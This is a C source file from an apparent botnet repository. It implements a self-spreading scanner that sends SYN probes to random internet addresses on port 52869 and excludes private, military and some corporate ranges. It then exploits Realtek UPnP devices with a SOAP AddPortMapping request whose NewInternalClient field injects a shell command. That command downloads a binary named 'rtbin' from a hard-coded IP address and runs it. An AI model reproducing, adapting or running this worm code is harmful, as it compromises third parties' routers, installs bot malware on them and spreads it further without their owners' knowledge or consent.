Path: blob/master/Botnets/Self Reps/Realtek/realtek.c
5038 views
#define _GNU_SOURCE12#ifdef DEBUG3#include <stdio.h>4#endif5#include <unistd.h>6#include <stdlib.h>7#include <sys/socket.h>8#include <arpa/inet.h>9#include <sys/select.h>10#include <sys/types.h>11#include <time.h>12#include <fcntl.h>13#include <signal.h>14#include <errno.h>15#include <string.h>16#include <linux/ip.h>17#include <linux/tcp.h>1819#include "includes.h"20#include "realtek_scanner.h"21#include "table.h"22#include "rand.h"23#include "util.h"24#include "checksum.h"2526int realtekscanner_scanner_pid = 0, realtekscanner_rsck = 0, realtekscanner_rsck_out = 0;27char realtekscanner_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};28struct realtekscanner_scanner_connection *conn_table;29uint32_t realtekscanner_fake_time = 0;3031int realtekscanner_recv_strip_null(int sock, void *buf, int len, int flags)32{33int ret = recv(sock, buf, len, flags);3435if(ret > 0)36{37int i = 0;3839for(i = 0; i < ret; i++)40{41if(((char *)buf)[i] == 0x00)42{43((char *)buf)[i] = 'A';44}45}46}4748return ret;49}5051void realtekscanner_scanner_init(void)52{53int i = 0;54uint16_t source_port;55struct iphdr *iph;56struct tcphdr *tcph;5758// Let parent continue on main thread59realtekscanner_scanner_pid = fork();60if(realtekscanner_scanner_pid > 0 || realtekscanner_scanner_pid == -1)61return;6263LOCAL_ADDR = util_local_addr();6465rand_init();66realtekscanner_fake_time = time(NULL);67conn_table = calloc(realtekscanner_SCANNER_MAX_CONNS, sizeof(struct realtekscanner_scanner_connection));68for(i = 0; i < realtekscanner_SCANNER_MAX_CONNS; i++)69{70conn_table[i].state = realtekscanner_SC_CLOSED;71conn_table[i].fd = -1;72}7374// Set up raw socket scanning and payload75if((realtekscanner_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)76{77#ifdef DEBUG78printf("[scanner] failed to initialize raw socket, cannot scan\n");79#endif80exit(0);81}82fcntl(realtekscanner_rsck, F_SETFL, O_NONBLOCK | fcntl(realtekscanner_rsck, F_GETFL, 0));83i = 1;84if(setsockopt(realtekscanner_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)85{86#ifdef DEBUG87printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");88#endif89close(realtekscanner_rsck);90exit(0);91}9293do94{95source_port = rand_next() & 0xffff;96}97while(ntohs(source_port) < 1024);9899iph = (struct iphdr *)realtekscanner_scanner_rawpkt;100tcph = (struct tcphdr *)(iph + 1);101102// Set up IPv4 header103iph->ihl = 5;104iph->version = 4;105iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));106iph->id = rand_next();107iph->ttl = 64;108iph->protocol = IPPROTO_TCP;109110// Set up TCP header111tcph->dest = htons(52869);112tcph->source = source_port;113tcph->doff = 5;114tcph->window = rand_next() & 0xffff;115tcph->syn = TRUE;116117#ifdef DEBUG118printf("[scanner] scanner process initialized. scanning started.\n");119#endif120121// Main logic loop122while(TRUE)123{124fd_set fdset_rd, fdset_wr;125struct realtekscanner_scanner_connection *conn;126struct timeval tim;127int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;128129// Spew out SYN to try and get a response130if(realtekscanner_fake_time != last_spew)131{132last_spew = realtekscanner_fake_time;133134for(i = 0; i < realtekscanner_SCANNER_RAW_PPS; i++)135{136struct sockaddr_in paddr = {0};137struct iphdr *iph = (struct iphdr *)realtekscanner_scanner_rawpkt;138struct tcphdr *tcph = (struct tcphdr *)(iph + 1);139140iph->id = rand_next();141iph->saddr = LOCAL_ADDR;142iph->daddr = realtekscanner_get_random_ip();143iph->check = 0;144iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));145146tcph->dest = htons(52869);147tcph->seq = iph->daddr;148tcph->check = 0;149tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));150151paddr.sin_family = AF_INET;152paddr.sin_addr.s_addr = iph->daddr;153paddr.sin_port = tcph->dest;154155sendto(realtekscanner_rsck, realtekscanner_scanner_rawpkt, sizeof(realtekscanner_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));156}157}158159// Read packets from raw socket to get SYN+ACKs160last_avail_conn = 0;161while(TRUE)162{163int n = 0;164char dgram[1514];165struct iphdr *iph = (struct iphdr *)dgram;166struct tcphdr *tcph = (struct tcphdr *)(iph + 1);167struct realtekscanner_scanner_connection *conn;168169errno = 0;170n = recvfrom(realtekscanner_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);171if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)172break;173174if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))175continue;176if(iph->daddr != LOCAL_ADDR)177continue;178if(iph->protocol != IPPROTO_TCP)179continue;180if(tcph->source != htons(52869))181continue;182if(tcph->dest != source_port)183continue;184if(!tcph->syn)185continue;186if(!tcph->ack)187continue;188if(tcph->rst)189continue;190if(tcph->fin)191continue;192if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)193continue;194195conn = NULL;196for(n = last_avail_conn; n < realtekscanner_SCANNER_MAX_CONNS; n++)197{198if(conn_table[n].state == realtekscanner_SC_CLOSED)199{200conn = &conn_table[n];201last_avail_conn = n;202break;203}204}205206// If there were no slots, then no point reading any more207if(conn == NULL)208break;209210conn->dst_addr = iph->saddr;211conn->dst_port = tcph->source;212realtekscanner_setup_connection(conn);213}214215FD_ZERO(&fdset_rd);216FD_ZERO(&fdset_wr);217218for(i = 0; i < realtekscanner_SCANNER_MAX_CONNS; i++)219{220int timeout = 5;221222conn = &conn_table[i];223//timeout = (conn->state > realtekscanner_SC_CONNECTING ? 30 : 5);224225if(conn->state != realtekscanner_SC_CLOSED && (realtekscanner_fake_time - conn->last_recv) > timeout)226{227close(conn->fd);228conn->fd = -1;229conn->state = realtekscanner_SC_CLOSED;230util_zero(conn->rdbuf, sizeof(conn->rdbuf));231232continue;233}234235if(conn->state == realtekscanner_SC_CONNECTING || conn->state == realtekscanner_SC_EXPLOIT_STAGE2 || conn->state == realtekscanner_SC_EXPLOIT_STAGE3)236{237FD_SET(conn->fd, &fdset_wr);238if(conn->fd > mfd_wr)239mfd_wr = conn->fd;240}241else if(conn->state != realtekscanner_SC_CLOSED)242{243FD_SET(conn->fd, &fdset_rd);244if(conn->fd > mfd_rd)245mfd_rd = conn->fd;246}247}248249tim.tv_usec = 0;250tim.tv_sec = 1;251nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);252realtekscanner_fake_time = time(NULL);253254for(i = 0; i < realtekscanner_SCANNER_MAX_CONNS; i++)255{256conn = &conn_table[i];257258if(conn->fd == -1)259continue;260261if(FD_ISSET(conn->fd, &fdset_wr))262{263int err = 0, ret = 0;264socklen_t err_len = sizeof(err);265266ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);267if(err == 0 && ret == 0)268{269if(conn->state == realtekscanner_SC_EXPLOIT_STAGE2)270{271#ifdef DEBUG272printf("[scanner] FD%d sending payload\n", conn->fd);273#endif274275276util_strcpy(conn->payload_buf, "POST /picdesc.xml HTTP/1.1\r\nHost: 127.0.0.1:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://185.10.68.127/rtbin -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n");277send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);278util_zero(conn->payload_buf, sizeof(conn->payload_buf));279util_zero(conn->rdbuf, sizeof(conn->rdbuf));280281close(conn->fd);282realtekscanner_setup_connection(conn);283conn->state = realtekscanner_SC_EXPLOIT_STAGE3;284285continue;286}287else if(conn->state == realtekscanner_SC_EXPLOIT_STAGE3)288{289#ifdef DEBUG290printf("[scanner] FD%d finnished\n", conn->fd);291#endif292293util_strcpy(conn->payload_buf, "POST /wanipcn.xml HTTP/1.1\r\nHost: 127.0.0.1:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://185.10.68.127/rtbin -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n");294send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);295util_zero(conn->payload_buf, sizeof(conn->payload_buf));296util_zero(conn->rdbuf, sizeof(conn->rdbuf));297298close(conn->fd);299conn->fd = -1;300conn->state = realtekscanner_SC_CLOSED;301302continue;303}304else305{306#ifdef DEBUG307printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);308#endif309310conn->state = realtekscanner_SC_EXPLOIT_STAGE2;311}312}313else314{315close(conn->fd);316conn->fd = -1;317conn->state = realtekscanner_SC_CLOSED;318319continue;320}321}322323if(FD_ISSET(conn->fd, &fdset_rd))324{325while(TRUE)326{327int ret = 0;328329if(conn->state == realtekscanner_SC_CLOSED)330break;331332if(conn->rdbuf_pos == realtekscanner_SCANNER_RDBUF_SIZE)333{334memmove(conn->rdbuf, conn->rdbuf + realtekscanner_SCANNER_HACK_DRAIN, realtekscanner_SCANNER_RDBUF_SIZE - realtekscanner_SCANNER_HACK_DRAIN);335conn->rdbuf_pos -= realtekscanner_SCANNER_HACK_DRAIN;336}337338errno = 0;339ret = realtekscanner_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, realtekscanner_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);340if(ret == 0)341{342errno = ECONNRESET;343ret = -1;344}345if(ret == -1)346{347if(errno != EAGAIN && errno != EWOULDBLOCK)348{349if(conn->state == realtekscanner_SC_EXPLOIT_STAGE2)350{351close(conn->fd);352realtekscanner_setup_connection(conn);353continue;354}355356close(conn->fd);357conn->fd = -1;358conn->state = realtekscanner_SC_CLOSED;359util_zero(conn->rdbuf, sizeof(conn->rdbuf));360}361break;362}363364conn->rdbuf_pos += ret;365conn->last_recv = realtekscanner_fake_time;366367int len = util_strlen(conn->rdbuf);368conn->rdbuf[len] = 0;369}370}371}372}373}374375void realtekscanner_scanner_kill(void)376{377kill(realtekscanner_scanner_pid, 9);378}379380static void realtekscanner_setup_connection(struct realtekscanner_scanner_connection *conn)381{382struct sockaddr_in addr = {0};383384if(conn->fd != -1)385close(conn->fd);386387if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)388{389return;390}391392conn->rdbuf_pos = 0;393util_zero(conn->rdbuf, sizeof(conn->rdbuf));394395fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));396397addr.sin_family = AF_INET;398addr.sin_addr.s_addr = conn->dst_addr;399addr.sin_port = conn->dst_port;400401conn->last_recv = realtekscanner_fake_time;402403if(conn->state == realtekscanner_SC_EXPLOIT_STAGE2 || conn->state == realtekscanner_SC_EXPLOIT_STAGE3)404{405}406else407{408conn->state = realtekscanner_SC_CONNECTING;409}410411connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));412}413414static ipv4_t realtekscanner_get_random_ip(void)415{416uint32_t tmp;417uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;418419do420{421tmp = rand_next();422423o1 = tmp & 0xff;424o2 = (tmp >> 8) & 0xff;425o3 = (tmp >> 16) & 0xff;426o4 = (tmp >> 24) & 0xff;427}428while(o1 == 127 || // 127.0.0.0/8 - Loopback429(o1 == 0) || // 0.0.0.0/8 - Invalid address space430(o1 == 3) || // 3.0.0.0/8 - General Electric Company431(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company432(o1 == 56) || // 56.0.0.0/8 - US Postal Service433(o1 == 10) || // 10.0.0.0/8 - Internal network434(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network435(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network436(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved437(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved438(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use439(o1 >= 224) || // 224.*.*.*+ - Multicast440(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense441);442443return INET_ADDR(o1,o2,o3,o4);444}445446447448